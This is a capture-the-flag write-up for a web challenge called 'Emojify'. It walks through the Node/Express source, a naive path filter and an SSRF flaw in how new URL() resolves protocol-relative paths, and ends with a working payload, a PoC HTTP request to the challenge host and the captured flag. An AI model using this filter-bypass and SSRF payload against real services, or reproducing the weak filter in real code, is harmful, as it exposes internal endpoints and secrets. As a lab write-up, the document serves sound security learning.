Emojify
WAF filtered not really functional and SSRF vulnerability
Recon
We got these source code:
❯ tree 09:12:14
.
├── backend
│ ├── index.js
│ ├── package.json
│ └── package-lock.json
├── compose.yaml
├── Dockerfile
├── frontend
│ ├── index.html
│ ├── index.js
│ ├── package.json
│ └── package-lock.json
└── secret
├── index.js
├── package.json
└── package-lock.json
Let’s see the compose.yaml so we can analyze how the service work.
❯ cat compose.yaml 09:12:59
services:
frontend:
build:
dockerfile: ../Dockerfile
context: ./frontend
restart: unless-stopped
init: true
ports:
- ${PORT:-3000}:3000
backend:
build:
dockerfile: ../Dockerfile
context: ./backend
restart: unless-stopped
init: true
secret:
build:
dockerfile: ../Dockerfile
context: ./secret
restart: unless-stopped
init: true
environment:
- FLAG=Alpaca{REDACTED}
The flag its from the environment and it’s use Embedded DNS Server so the name like backend:3000 or frontend:3000.
Let’s check the important code.
~/ctf/alpacahack/web/emojify
❯ cat frontend/index.js 09:21:39
import express from "express";
import fs from "node:fs";
const waf = (path) => {
if (typeof path !== "string") throw new Error("Invalid types");
if (!path.startsWith("/")) throw new Error("Invalid 1");
if (!path.includes("emoji")) throw new Error("Invalid 2");
return path;
};
express()
.get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html")))
.get("/api", async (req, res) => {
try {
const path = waf(req.query.path);
const url = new URL(path, "http://backend:3000");
const emoji = await fetch(url).then((r) => r.text());
res.send(emoji);
} catch (err) {
res.send(err.message);
}
})
.listen(3000);
~/ctf/alpacahack/web/emojify
❯ cat secret/index.js 09:23:48
import express from "express";
const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}";
express()
// http://secret:1337/flag
.get("/flag", (req, res) => res.send(FLAG))
.listen(1337);
~/ctf/alpacahack/web/emojify
❯ cat backend/index.js 09:23:54
import express from "express";
import * as emoji from "node-emoji";
express()
.get("/emoji/:text", (req, res) =>
res.send(emoji.get(req.params.text) ?? "❓")
)
.listen(3000);
Vulnerability
As we can see at the source code, the backend/index.js doesn’t have a vulnerability, but the frontend/index.js have the vulnerability.
First vulnerability at WAF filter:
const waf = (path) => {
if (typeof path !== "string") throw new Error("Invalid types");
if (!path.startsWith("/")) throw new Error("Invalid 1");
if (!path.includes("emoji")) throw new Error("Invalid 2");
return path;
};
So the path it must:
be a string
starts with
/and included string named “
emoji"
Second vulnerability its from the function he use:
const url = new URL(path, "http://backend:3000");
We can see in the document: https://developer.mozilla.org/en-US/docs/Web/API/URL/URL
So if we input the path there’s //<target> and meet up the WAF filter so we can receive the flag.
At secret/index.js is our next information.
express()
// http://secret:1337/flag
.get("/flag", (req, res) => res.send(FLAG))
.listen(1337);
the secret is listening to port 1337 and the endpoint is /flag. So that is our target. So let’s write the payload:
//secret:1337/emoji/../flag
I got this payload as a conclusion, because is started with / and there’s a emoji as a string (even though i use it as a path traversal), and its as a string.
I implement it to the remote server and it works.
PoC request
GET /api?path=//secret:1337/emoji/../flag HTTP/1.1
Host: 34.170.146.252:8178
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: */*
Referer: http://34.170.146.252:8178/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Flag
Alpaca{Sup3r_Speci4l_Rar3_Flag}